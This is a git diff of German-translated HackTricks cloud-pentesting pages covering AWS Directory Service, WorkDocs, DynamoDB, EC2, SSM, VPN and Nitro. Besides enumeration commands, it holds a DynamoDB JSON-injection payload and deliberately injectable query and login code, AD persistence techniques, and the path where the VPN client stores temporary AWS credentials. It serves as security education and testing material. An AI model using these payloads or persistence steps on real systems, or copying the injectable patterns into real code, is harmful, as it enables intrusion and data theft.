**Benutzer** sich mit seinen **AD-Anmeldeinformationen** in einigen **AWS-Diensten** anmelden kann: +Beachten Sie, dass wenn die **Beschreibung** des Verzeichnisses ein **Domäne** im Feld **`AccessUrl`** enthält, es wahrscheinlich ist, dass ein **Benutzer** sich mit seinen **AD-Anmeldeinformationen** in einigen **AWS-Diensten** anmelden kann: - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -45,39 +45,39 @@ Beachten Sie, dass wenn die **Beschreibung** des Verzeichnisses eine **Domain** - `.awsapps.com/console` (Amazon Management Console) - `.awsapps.com/start` (IAM Identity Center) -### Privilege Escalation +### Privilegieneskalation {{#ref}} ../aws-privilege-escalation/aws-directory-services-privesc.md {{#endref}} -## Persistence +## Persistenz -### Using an AD user +### Verwendung eines AD-Benutzers Ein **AD-Benutzer** kann **Zugriff auf die AWS-Managementkonsole** über eine zu übernehmende Rolle erhalten. Der **Standardbenutzername ist Admin** und es ist möglich, **sein Passwort** über die AWS-Konsole zu **ändern**. Daher ist es möglich, das **Passwort von Admin zu ändern**, **einen neuen Benutzer zu erstellen** oder das **Passwort** eines Benutzers zu **ändern** und diesem Benutzer eine Rolle zuzuweisen, um den Zugriff aufrechtzuerhalten.\ Es ist auch möglich, **einen Benutzer zu einer Gruppe innerhalb von AD hinzuzufügen** und **dieser AD-Gruppe Zugriff auf eine Rolle zu gewähren** (um diese Persistenz stealthier zu gestalten). -### Sharing AD (from victim to attacker) +### Teilen von AD (vom Opfer zum Angreifer) Es ist möglich, eine AD-Umgebung von einem Opfer zu einem Angreifer zu teilen. Auf diese Weise kann der Angreifer weiterhin auf die AD-Umgebung zugreifen.\ -Dies setzt jedoch voraus, dass die verwaltete AD geteilt wird und auch eine VPC-Peering-Verbindung erstellt wird. +Dies setzt jedoch voraus, dass das verwaltete AD geteilt wird und auch eine VPC-Peering-Verbindung erstellt wird. Sie finden hier eine Anleitung: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) -### ~~Sharing AD (from attacker to victim)~~ +### ~~Teilen von AD (vom Angreifer zum Opfer)~~ Es scheint nicht möglich zu sein, AWS-Zugriff für Benutzer aus einer anderen AD-Umgebung auf ein AWS-Konto zu gewähren. ## WorkDocs -Amazon Web Services (AWS) WorkDocs ist ein cloudbasierter **Dateispeicher- und Freigabedienst**. Es ist Teil der AWS-Suite von Cloud-Computing-Diensten und wurde entwickelt, um eine sichere und skalierbare Lösung für Organisationen bereitzustellen, um Dateien und Dokumente zu speichern, zu teilen und gemeinsam zu bearbeiten. +Amazon Web Services (AWS) WorkDocs ist ein cloudbasierter **Dateispeicher- und Freigabedienst**. Es ist Teil der AWS-Suite von Cloud-Computing-Diensten und wurde entwickelt, um eine sichere und skalierbare Lösung für Organisationen bereitzustellen, um Dateien und Dokumente zu speichern, zu teilen und gemeinsam daran zu arbeiten. AWS WorkDocs bietet eine webbasierte Schnittstelle für Benutzer, um ihre Dateien und Dokumente hochzuladen, darauf zuzugreifen und sie zu verwalten. Es bietet auch Funktionen wie Versionskontrolle, Echtzeit-Zusammenarbeit und Integration mit anderen AWS-Diensten und Drittanbieter-Tools. -### Enumeration +### Aufzählung ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index a9811fe0d..babbbd959 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -6,7 +6,7 @@ ### Grundinformationen -Amazon DynamoDB wird von AWS als eine **vollständig verwaltete, serverlose, Schlüssel-Wert NoSQL-Datenbank** präsentiert, die für leistungsstarke Anwendungen jeder Größe konzipiert ist. Der Dienst bietet robuste Funktionen, einschließlich integrierter Sicherheitsmaßnahmen, unterbrechungsfreier Backups, automatisierter Replikation über mehrere Regionen, integrierter In-Memory-Caching und praktischer Datenexport-Utilities. +Amazon DynamoDB wird von AWS als eine **vollständig verwaltete, serverlose, Schlüssel-Wert NoSQL-Datenbank** präsentiert, die für die Unterstützung von leistungsstarken Anwendungen unabhängig von ihrer Größe konzipiert ist. Der Dienst bietet robuste Funktionen, einschließlich integrierter Sicherheitsmaßnahmen, unterbrechungsfreier Backups, automatisierter Replikation über mehrere Regionen, integrierter In-Memory-Caching und praktischer Datenexport-Utilities. Im Kontext von DynamoDB werden anstelle einer traditionellen Datenbank **Tabellen erstellt**. Jede Tabelle erfordert die Angabe eines **Partitionierungsschlüssels** als integralen Bestandteil des **Primärschlüssels der Tabelle**. Dieser Partitionierungsschlüssel, im Wesentlichen ein **Hash-Wert**, spielt eine entscheidende Rolle sowohl bei der Abfrage von Elementen als auch bei der Verteilung von Daten über verschiedene Hosts. Diese Verteilung ist entscheidend für die Aufrechterhaltung sowohl der Skalierbarkeit als auch der Verfügbarkeit der Datenbank. Darüber hinaus gibt es die Möglichkeit, einen **Sortierschlüssel** hinzuzufügen, um die Datenorganisation weiter zu verfeinern. @@ -18,7 +18,7 @@ Standardmäßig verwendet DynamoDB einen KMS-Schlüssel, der **zu Amazon DynamoD ### Backups & Export nach S3 -Es ist möglich, die Erstellung von **Tabellen-Backups** zu **planen** oder sie **auf Anfrage** zu erstellen. Darüber hinaus ist es auch möglich, **Point-in-time recovery (PITR) für eine Tabelle zu aktivieren.** Die Wiederherstellung zu einem bestimmten Zeitpunkt bietet kontinuierliche **Backups** Ihrer DynamoDB-Daten für **35 Tage**, um Sie vor versehentlichen Schreib- oder Löschvorgängen zu schützen. +Es ist möglich, die **Erstellung von Tabellen-Backups** zu **planen** oder sie **auf Anfrage** zu erstellen. Darüber hinaus ist es auch möglich, **Point-in-Time Recovery (PITR) für eine Tabelle zu aktivieren.** Die Point-in-Time-Wiederherstellung bietet kontinuierliche **Backups** Ihrer DynamoDB-Daten für **35 Tage**, um Sie vor versehentlichen Schreib- oder Löschvorgängen zu schützen. Es ist auch möglich, **die Daten einer Tabelle nach S3 zu exportieren**, aber die Tabelle muss **PITR aktiviert** haben. @@ -26,7 +26,7 @@ Es ist auch möglich, **die Daten einer Tabelle nach S3 zu exportieren**, aber d Es gibt eine GUI für lokale Dynamo-Dienste wie [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack) usw., die nützlich sein könnte: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) -### Enumeration +### Aufzählung ```bash # Tables aws dynamodb list-tables @@ -89,13 +89,13 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection ### NoSQL Injection -In DynamoDB können verschiedene **Bedingungen** verwendet werden, um Daten abzurufen. Wie bei einer gängigen NoSQL-Injektion, wenn es möglich ist, **mehrere Bedingungen zu verketten, um** Daten abzurufen, könnten Sie versteckte Daten (oder die gesamte Tabelle dumpen).\ +In DynamoDB können verschiedene **Bedingungen** verwendet werden, um Daten abzurufen. Wie bei einer gängigen NoSQL-Injektion, wenn es möglich ist, **mehrere Bedingungen zu verketten, um** Daten abzurufen, könnten Sie versteckte Daten (oder die gesamte Tabelle dumpen) erhalten.\ Hier finden Sie die von DynamoDB unterstützten Bedingungen: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) Beachten Sie, dass **verschiedene Bedingungen** unterstützt werden, wenn auf die Daten über **`query`** oder über **`scan`** zugegriffen wird. > [!NOTE] -> Tatsächlich müssen **Query**-Aktionen die **Bedingung "EQ" (gleich)** im **primären** Schlüssel angeben, damit sie funktionieren, was sie viel **weniger anfällig für NoSQL-Injektionen** macht (und auch die Operation sehr eingeschränkt). +> Tatsächlich müssen **Query**-Aktionen die **Bedingung "EQ" (gleich)** im **primären** Schlüssel angeben, um zu funktionieren, was sie viel **weniger anfällig für NoSQL-Injektionen** macht (und auch die Operation sehr eingeschränkt). Wenn Sie die **Vergleichsoperation** ändern oder neue hinzufügen können, könnten Sie mehr Daten abrufen. ```bash @@ -108,22 +108,22 @@ Wenn Sie die **Vergleichsoperation** ändern oder neue hinzufügen können, kön https://book.hacktricks.xyz/pentesting-web/nosql-injection {{#endref}} -### Raw Json injection +### Rohes Json-Injection > [!CAUTION] > **Diese Schwachstelle basiert auf dem dynamodb Scan Filter, der jetzt veraltet ist!** -**DynamoDB** akzeptiert **Json**-Objekte, um **Daten** in der DB zu **suchen**. Wenn Sie feststellen, dass Sie im json-Objekt, das zum Suchen gesendet wird, schreiben können, könnten Sie die DB dumpen, alle Inhalte. +**DynamoDB** akzeptiert **Json**-Objekte, um nach Daten in der DB zu **suchen**. Wenn Sie feststellen, dass Sie im json-Objekt, das zum Suchen gesendet wird, schreiben können, könnten Sie die DB dumpen, alle Inhalte. Zum Beispiel, injizieren in eine Anfrage wie: ```bash '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}' ``` -ein Angreifer könnte etwas injizieren wie: +Ein Angreifer könnte etwas injizieren wie: `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -behebe die "EQ"-Bedingung, indem du nach der ID 1000 suchst und dann nach allen Daten mit einer Id-Zeichenfolge, die größer als 0 ist, was alles ist. +Beheben Sie die "EQ"-Bedingung, indem Sie nach der ID 1000 suchen und dann nach allen Daten mit einer ID-Zeichenfolge, die größer als 0 ist, was alles ist. Ein weiteres **anfälliges Beispiel mit einem Login** könnte sein: ```python @@ -152,7 +152,7 @@ Einige SDKs erlauben die Verwendung eines Strings, der die durchzuführende Filt ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` -Sie müssen wissen, dass beim Suchen in DynamoDB für **das Ersetzen** eines Attributs **wertes** in **Filterausdrücken** während des Scannens der Elemente die Tokens mit dem **`:`**-Zeichen **beginnen** sollten. Solche Tokens werden zur Laufzeit mit dem tatsächlichen **Attributwert ersetzt**. +Sie müssen wissen, dass das Suchen in DynamoDB zum **Ersetzen** eines Attributs **werts** in **Filterausdrücken** beim Scannen der Elemente, die Tokens mit dem **`:`**-Zeichen **beginnen** sollten. Solche Tokens werden zur Laufzeit mit dem tatsächlichen **Attributwert** **ersetzt**. Daher kann ein Login wie das vorherige mit etwas wie folgt umgangen werden: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index 66f61f1c7..4d0b8f735 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC & Networking -Erfahren Sie, was eine VPC ist und welche Komponenten sie hat in: +Erfahren Sie, was ein VPC ist und welche Komponenten es hat in: {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 wird verwendet, um **virtuelle Server** zu starten. Es ermöglicht die Konfiguration von **Sicherheit** und **Netzwerk** sowie die Verwaltung von **Speicher**. Die Flexibilität von Amazon EC2 zeigt sich in der Fähigkeit, Ressourcen sowohl nach oben als auch nach unten zu skalieren, wodurch es sich effektiv an wechselnde Anforderungen oder Anstiege in der Beliebtheit anpasst. Diese Funktion verringert die Notwendigkeit für präzise Verkehrsvorhersagen. +Amazon EC2 wird verwendet, um **virtuelle Server** zu starten. Es ermöglicht die Konfiguration von **Sicherheit** und **Netzwerk** sowie die Verwaltung von **Speicher**. Die Flexibilität von Amazon EC2 zeigt sich in der Fähigkeit, Ressourcen sowohl nach oben als auch nach unten zu skalieren, wodurch es effektiv auf wechselnde Anforderungen oder Anstiege in der Beliebtheit reagiert. Diese Funktion verringert die Notwendigkeit für präzise Verkehrsvorhersagen. Interessante Dinge, die in EC2 aufgezählt werden können: @@ -29,13 +29,13 @@ Interessante Dinge, die in EC2 aufgezählt werden können: ### Instanzprofile -Die Verwendung von **Rollen**, um Anwendungen, die auf **EC2-Instanzen** ausgeführt werden, Berechtigungen zu gewähren, erfordert eine zusätzliche Konfiguration. Eine Anwendung, die auf einer EC2-Instanz ausgeführt wird, ist durch das virtualisierte Betriebssystem von AWS abstrahiert. Aufgrund dieser zusätzlichen Trennung benötigen Sie einen zusätzlichen Schritt, um eine AWS-Rolle und die zugehörigen Berechtigungen einer EC2-Instanz zuzuweisen und sie ihren Anwendungen zur Verfügung zu stellen. +Die Verwendung von **Rollen**, um Berechtigungen für Anwendungen zu gewähren, die auf **EC2-Instanzen** ausgeführt werden, erfordert eine zusätzliche Konfiguration. Eine Anwendung, die auf einer EC2-Instanz ausgeführt wird, ist durch das virtualisierte Betriebssystem von AWS abstrahiert. Aufgrund dieser zusätzlichen Trennung benötigen Sie einen zusätzlichen Schritt, um eine AWS-Rolle und die zugehörigen Berechtigungen einer EC2-Instanz zuzuweisen und sie ihren Anwendungen zur Verfügung zu stellen. -Dieser zusätzliche Schritt ist die **Erstellung eines** [_**Instanzprofils**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html), das an die Instanz angehängt ist. Das **Instanzprofil enthält die Rolle und** kann die temporären Anmeldeinformationen der Rolle einer Anwendung, die auf der Instanz ausgeführt wird, zur Verfügung stellen. Diese temporären Anmeldeinformationen können dann in den API-Aufrufen der Anwendung verwendet werden, um auf Ressourcen zuzugreifen und den Zugriff nur auf die Ressourcen zu beschränken, die die Rolle angibt. Beachten Sie, dass **nur eine Rolle gleichzeitig einer EC2-Instanz zugewiesen werden kann**, und alle Anwendungen auf der Instanz teilen sich dieselbe Rolle und Berechtigungen. +Dieser zusätzliche Schritt ist die **Erstellung eines** [_**Instanzprofils**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html), das an die Instanz angehängt ist. Das **Instanzprofil enthält die Rolle und** kann die temporären Anmeldeinformationen der Rolle einer Anwendung, die auf der Instanz ausgeführt wird, bereitstellen. Diese temporären Anmeldeinformationen können dann in den API-Aufrufen der Anwendung verwendet werden, um auf Ressourcen zuzugreifen und den Zugriff nur auf die Ressourcen zu beschränken, die die Rolle angibt. Beachten Sie, dass **nur eine Rolle gleichzeitig einer EC2-Instanz zugewiesen werden kann**, und alle Anwendungen auf der Instanz teilen sich dieselbe Rolle und Berechtigungen. ### Metadaten-Endpunkt -AWS EC2-Metadaten sind Informationen über eine Amazon Elastic Compute Cloud (EC2)-Instanz, die der Instanz zur Laufzeit zur Verfügung stehen. Diese Metadaten werden verwendet, um Informationen über die Instanz bereitzustellen, wie z. B. ihre Instanz-ID, die Verfügbarkeitszone, in der sie ausgeführt wird, die IAM-Rolle, die mit der Instanz verbunden ist, und den Hostnamen der Instanz. +AWS EC2-Metadaten sind Informationen über eine Amazon Elastic Compute Cloud (EC2)-Instanz, die der Instanz zur Laufzeit zur Verfügung stehen. Diese Metadaten werden verwendet, um Informationen über die Instanz bereitzustellen, wie z. B. ihre Instanz-ID, die Verfügbarkeitszone, in der sie ausgeführt wird, die IAM-Rolle, die mit der Instanz verknüpft ist, und den Hostnamen der Instanz. {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -155,7 +155,7 @@ Snapshots können **sensible Informationen** wie **Quellcode oder API-Schlüssel ### Unterschied AMI & EBS -Eine **AMI** wird verwendet, um **eine EC2-Instanz zu starten**, während ein EC2 **Snapshot** verwendet wird, um **Daten, die auf einem EBS-Volume gespeichert sind, zu sichern und wiederherzustellen**. Während ein EC2-Snapshot verwendet werden kann, um eine neue AMI zu erstellen, ist es nicht dasselbe wie eine AMI, und es enthält keine Informationen über das Betriebssystem, den Anwendungsserver oder andere Software, die zum Ausführen einer Anwendung erforderlich ist. +Eine **AMI** wird verwendet, um eine **EC2-Instanz zu starten**, während ein EC2 **Snapshot** verwendet wird, um **Daten, die auf einem EBS-Volume gespeichert sind, zu sichern und wiederherzustellen**. Während ein EC2-Snapshot verwendet werden kann, um eine neue AMI zu erstellen, ist es nicht dasselbe wie eine AMI, und es enthält keine Informationen über das Betriebssystem, den Anwendungsserver oder andere Software, die zum Ausführen einer Anwendung erforderlich ist. ### Privesc @@ -169,7 +169,7 @@ Auf der folgenden Seite können Sie überprüfen, wie man **EBS-Berechtigungen m **Amazon Simple Systems Manager (SSM)** ermöglicht die remote Verwaltung von EC2-Instanzen, um deren Verwaltung erheblich zu erleichtern. Jede dieser Instanzen muss den **SSM-Agentdienst ausführen, da dieser die Aktionen erhält und sie** über die AWS-API ausführt. -Der **SSM-Agent** ermöglicht es dem Systems Manager, diese Ressourcen zu aktualisieren, zu verwalten und zu konfigurieren. Der Agent **verarbeitet Anfragen vom Systems Manager-Dienst in der AWS-Cloud** und führt sie dann wie im Antrag angegeben aus. +Der **SSM-Agent** ermöglicht es dem Systems Manager, diese Ressourcen zu aktualisieren, zu verwalten und zu konfigurieren. Der Agent **verarbeitet Anfragen vom Systems Manager-Dienst in der AWS-Cloud** und führt sie dann gemäß der Anfrage aus. Der **SSM-Agent kommt**[ **vorinstalliert in einigen AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) oder Sie müssen ihn [**manuell installieren**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) auf den Instanzen. Außerdem muss die IAM-Rolle, die innerhalb der Instanz verwendet wird, die Richtlinie **AmazonEC2RoleforSSM** angehängt haben, um kommunizieren zu können. @@ -196,7 +196,7 @@ Auf der folgenden Seite können Sie überprüfen, wie Sie **SSM-Berechtigungen m ## ELB -**Elastic Load Balancing** (ELB) ist ein **Lastenausgleichsdienst für Amazon Web Services** (AWS) Bereitstellungen. ELB verteilt automatisch **eingehenden Anwendungsverkehr** und skaliert Ressourcen, um den Verkehrsanforderungen gerecht zu werden. +**Elastic Load Balancing** (ELB) ist ein **Lastverteilungsdienst für Amazon Web Services** (AWS) Bereitstellungen. ELB verteilt automatisch **eingehenden Anwendungsverkehr** und skaliert Ressourcen, um den Verkehrsanforderungen gerecht zu werden. ### Enumeration ```bash @@ -209,7 +209,7 @@ aws elbv2 describe-load-balancers aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName' aws elbv2 describe-listeners --load-balancer-arn ``` -## Launch-Vorlagen & Auto-Scaling-Gruppen +## Startvorlagen & Auto-Scaling-Gruppen ### Aufzählung ```bash @@ -228,7 +228,7 @@ aws autoscaling describe-load-balancers ``` ## Nitro -AWS Nitro ist eine Suite von **innovativen Technologien**, die die zugrunde liegende Plattform für AWS EC2-Instanzen bilden. Von Amazon eingeführt, um **Sicherheit, Leistung und Zuverlässigkeit zu verbessern**, nutzt Nitro maßgeschneiderte **Hardwarekomponenten und einen leichten Hypervisor**. Es abstrahiert einen Großteil der traditionellen Virtualisierungsfunktionen auf dedizierte Hardware und Software, **minimiert die Angriffsfläche** und verbessert die Ressourceneffizienz. Durch das Auslagern von Virtualisierungsfunktionen ermöglicht Nitro EC2-Instanzen, **nahezu Bare-Metal-Leistung** zu liefern, was es besonders vorteilhaft für ressourcenintensive Anwendungen macht. Darüber hinaus sorgt der Nitro Security Chip speziell für die **Sicherheit der Hardware und Firmware** und festigt damit seine robuste Architektur. +AWS Nitro ist eine Suite von **innovativen Technologien**, die die zugrunde liegende Plattform für AWS EC2-Instanzen bilden. Von Amazon eingeführt, um **Sicherheit, Leistung und Zuverlässigkeit** zu **verbessern**, nutzt Nitro maßgeschneiderte **Hardwarekomponenten und einen leichten Hypervisor**. Es abstrahiert viele der traditionellen Virtualisierungsfunktionen auf dedizierte Hardware und Software, **minimiert die Angriffsfläche** und verbessert die Ressourceneffizienz. Durch das Auslagern von Virtualisierungsfunktionen ermöglicht Nitro EC2-Instanzen, **nahezu Bare-Metal-Leistung** zu liefern, was es besonders vorteilhaft für ressourcenintensive Anwendungen macht. Darüber hinaus gewährleistet der Nitro Security Chip speziell die **Sicherheit der Hardware und Firmware** und festigt somit seine robuste Architektur. Erhalten Sie weitere Informationen und wie Sie es enumerieren können von: @@ -238,7 +238,7 @@ aws-nitro-enum.md ## VPN -Ein VPN ermöglicht es, Ihr **lokales Netzwerk (Site-to-Site VPN)** oder die **Laptop der Mitarbeiter (Client VPN)** mit einer **AWS VPC** zu verbinden, sodass Dienste ohne Exposition gegenüber dem Internet genutzt werden können. +Ein VPN ermöglicht die Verbindung Ihres **On-Premise-Netzwerks (Site-to-Site VPN)** oder der **Mitarbeiter-Laptops (Client VPN)** mit einer **AWS VPC**, sodass Dienste ohne Exposition gegenüber dem Internet genutzt werden können. #### Grundlegende AWS VPN-Komponenten @@ -249,21 +249,21 @@ Ein VPN ermöglicht es, Ihr **lokales Netzwerk (Site-to-Site VPN)** oder die **L - Es dient als Referenzpunkt für die Einrichtung der VPN-Verbindung und verursacht keine zusätzlichen Kosten. 2. **Virtual Private Gateway**: - Ein Virtual Private Gateway (VPG) ist der VPN-Konzentrator auf der Amazon-Seite der Site-to-Site VPN-Verbindung. -- Es ist an Ihre VPC angeschlossen und dient als Ziel für Ihre VPN-Verbindung. +- Es ist an Ihre VPC angehängt und dient als Ziel für Ihre VPN-Verbindung. - VPG ist der AWS-Seitenendpunkt für die VPN-Verbindung. -- Es verwaltet die sichere Kommunikation zwischen Ihrer VPC und Ihrem lokalen Netzwerk. -3. **Site-to-Site VPN-Verbindung**: -- Eine Site-to-Site VPN-Verbindung verbindet Ihr lokales Netzwerk über einen sicheren IPsec VPN-Tunnel mit einer VPC. +- Es verwaltet die sichere Kommunikation zwischen Ihrer VPC und Ihrem On-Premises-Netzwerk. +3. **Site-to-Site VPN Connection**: +- Eine Site-to-Site VPN-Verbindung verbindet Ihr On-Premises-Netzwerk mit einer VPC über einen sicheren IPsec VPN-Tunnel. - Diese Art von Verbindung erfordert ein Customer Gateway und ein Virtual Private Gateway. -- Sie wird für sichere, stabile und konsistente Kommunikation zwischen Ihrem Rechenzentrum oder Netzwerk und Ihrer AWS-Umgebung verwendet. +- Es wird für sichere, stabile und konsistente Kommunikation zwischen Ihrem Rechenzentrum oder Netzwerk und Ihrer AWS-Umgebung verwendet. - Typischerweise für regelmäßige, langfristige Verbindungen verwendet und wird basierend auf der Menge der über die Verbindung übertragenen Daten abgerechnet. -4. **Client VPN-Endpunkt**: +4. **Client VPN Endpoint**: - Ein Client VPN-Endpunkt ist eine Ressource, die Sie in AWS erstellen, um Client-VPN-Sitzungen zu aktivieren und zu verwalten. -- Er wird verwendet, um einzelnen Geräten (wie Laptops, Smartphones usw.) eine sichere Verbindung zu AWS-Ressourcen oder Ihrem lokalen Netzwerk zu ermöglichen. -- Er unterscheidet sich vom Site-to-Site VPN, da er für einzelne Clients und nicht für die Verbindung ganzer Netzwerke konzipiert ist. +- Es wird verwendet, um einzelnen Geräten (wie Laptops, Smartphones usw.) eine sichere Verbindung zu AWS-Ressourcen oder Ihrem On-Premises-Netzwerk zu ermöglichen. +- Es unterscheidet sich vom Site-to-Site VPN, da es für einzelne Clients und nicht für die Verbindung ganzer Netzwerke konzipiert ist. - Mit Client VPN verwendet jedes Client-Gerät eine VPN-Client-Software, um eine sichere Verbindung herzustellen. -Sie können [**hier mehr Informationen über die Vorteile und Komponenten von AWS VPNs finden**](aws-vpc-and-networking-basic-information.md#vpn). +Sie können [**hier weitere Informationen zu den Vorteilen und Komponenten von AWS VPNs finden**](aws-vpc-and-networking-basic-information.md#vpn). ### Enumeration ```bash @@ -293,13 +293,13 @@ aws ec2 describe-vpn-connections **Lokale temporäre Anmeldeinformationen** -Wenn der AWS VPN-Client verwendet wird, um sich mit einem VPN zu verbinden, wird der Benutzer normalerweise **in AWS angemeldet**, um Zugriff auf das VPN zu erhalten. Dann werden einige **AWS-Anmeldeinformationen erstellt und lokal gespeichert**, um die VPN-Verbindung herzustellen. Diese Anmeldeinformationen werden **gespeichert in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` und enthalten einen **AccessKey**, einen **SecretKey** und ein **Token**. +Wenn der AWS VPN-Client verwendet wird, um eine VPN-Verbindung herzustellen, meldet sich der Benutzer normalerweise **bei AWS an**, um Zugriff auf das VPN zu erhalten. Dann werden einige **AWS-Anmeldeinformationen erstellt und lokal gespeichert**, um die VPN-Verbindung herzustellen. Diese Anmeldeinformationen werden **gespeichert in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` und enthalten einen **AccessKey**, einen **SecretKey** und ein **Token**. Die Anmeldeinformationen gehören zum Benutzer `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: mehr über die Berechtigungen dieser Anmeldeinformationen recherchieren). **opvn-Konfigurationsdateien** -Wenn eine **VPN-Verbindung hergestellt wurde**, sollten Sie nach **`.opvn`**-Konfigurationsdateien im System suchen. Darüber hinaus ist ein Ort, an dem Sie die **Konfigurationen** finden könnten, in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** +Wenn eine **VPN-Verbindung hergestellt wurde**, sollten Sie nach **`.opvn`**-Konfigurationsdateien im System suchen. Darüber hinaus ist ein Ort, an dem Sie die **Konfigurationen** finden könnten, **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** #### **Post-Exploitation** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 389f77513..50d5b963c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -8,10 +8,10 @@ AWS Nitro ist eine Suite von **innovativen Technologien**, die die zugrunde lieg ### Nitro Enclaves -**AWS Nitro Enclaves** bietet eine sichere, **isolierte Rechenumgebung innerhalb von Amazon EC2-Instanzen**, die speziell für die Verarbeitung hochsensibler Daten entwickelt wurde. Durch die Nutzung des AWS Nitro-Systems gewährleisten diese Enclaves eine robuste **Isolation und Sicherheit**, die ideal für **den Umgang mit vertraulichen Informationen** wie PII oder Finanzunterlagen ist. Sie verfügen über eine minimalistische Umgebung, die das Risiko einer Datenexposition erheblich reduziert. Darüber hinaus unterstützen Nitro Enclaves die kryptografische Attestierung, die es Benutzern ermöglicht zu überprüfen, dass nur autorisierter Code ausgeführt wird, was entscheidend für die Einhaltung strenger Compliance- und Datenschutzstandards ist. +**AWS Nitro Enclaves** bietet eine sichere, **isolierte Rechenumgebung innerhalb von Amazon EC2-Instanzen**, die speziell für die Verarbeitung hochsensibler Daten entwickelt wurde. Durch die Nutzung des AWS Nitro Systems gewährleisten diese Enclaves robuste **Isolation und Sicherheit**, ideal für **den Umgang mit vertraulichen Informationen** wie PII oder Finanzunterlagen. Sie verfügen über eine minimalistische Umgebung, die das Risiko einer Datenexposition erheblich reduziert. Darüber hinaus unterstützen Nitro Enclaves die kryptografische Attestierung, die es Benutzern ermöglicht zu überprüfen, dass nur autorisierter Code ausgeführt wird, was entscheidend für die Einhaltung strenger Compliance- und Datenschutzstandards ist. > [!CAUTION] -> Nitro Enclave-Images werden **aus EC2-Instanzen heraus ausgeführt** und Sie können im AWS-Webkonsole nicht sehen, ob eine EC2-Instanz Bilder in Nitro Enclave ausführt oder nicht. +> Nitro Enclave-Images werden **von innerhalb von EC2-Instanzen ausgeführt** und Sie können im AWS-Webkonsole nicht sehen, ob eine EC2-Instanz Images in Nitro Enclave ausführt oder nicht. ## Nitro Enclave CLI-Installation @@ -56,14 +56,14 @@ Enclave Image successfully created. ``` ### Führen Sie ein Image aus -Laut [**der Dokumentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave) müssen Sie, um ein Enklaven-Image auszuführen, ihm **mindestens das Vierfache der Größe der `eif`-Datei** zuweisen. Es ist möglich, die Standardressourcen, die ihm zugewiesen werden sollen, in der Datei zu konfigurieren. +Laut [**der Dokumentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave) müssen Sie, um ein Enklaven-Image auszuführen, ihm **mindestens das Vierfache der Größe der `eif`-Datei** zuweisen. Es ist möglich, die Standardressourcen, die ihm zugewiesen werden, in der Datei zu konfigurieren. ```shell /etc/nitro_enclaves/allocator.yaml ``` > [!CAUTION] -> Denken Sie daran, dass Sie auch **einige Ressourcen für die übergeordnete EC2**-Instanz reservieren müssen! +> Denken Sie immer daran, dass Sie auch **einige Ressourcen für die übergeordnete EC2**-Instanz **reservieren** müssen! -Nachdem Sie die Ressourcen kennen, die einem Image zugewiesen werden sollen, und sogar die Konfigurationsdatei geändert haben, ist es möglich, ein Enklaven-Image mit: auszuführen +Nachdem Sie die Ressourcen kennen, die einem Image zugewiesen werden sollen, und sogar die Konfigurationsdatei geändert haben, ist es möglich, ein Enklaven-Image mit folgendem Befehl auszuführen: ```shell # Restart the service so the new default values 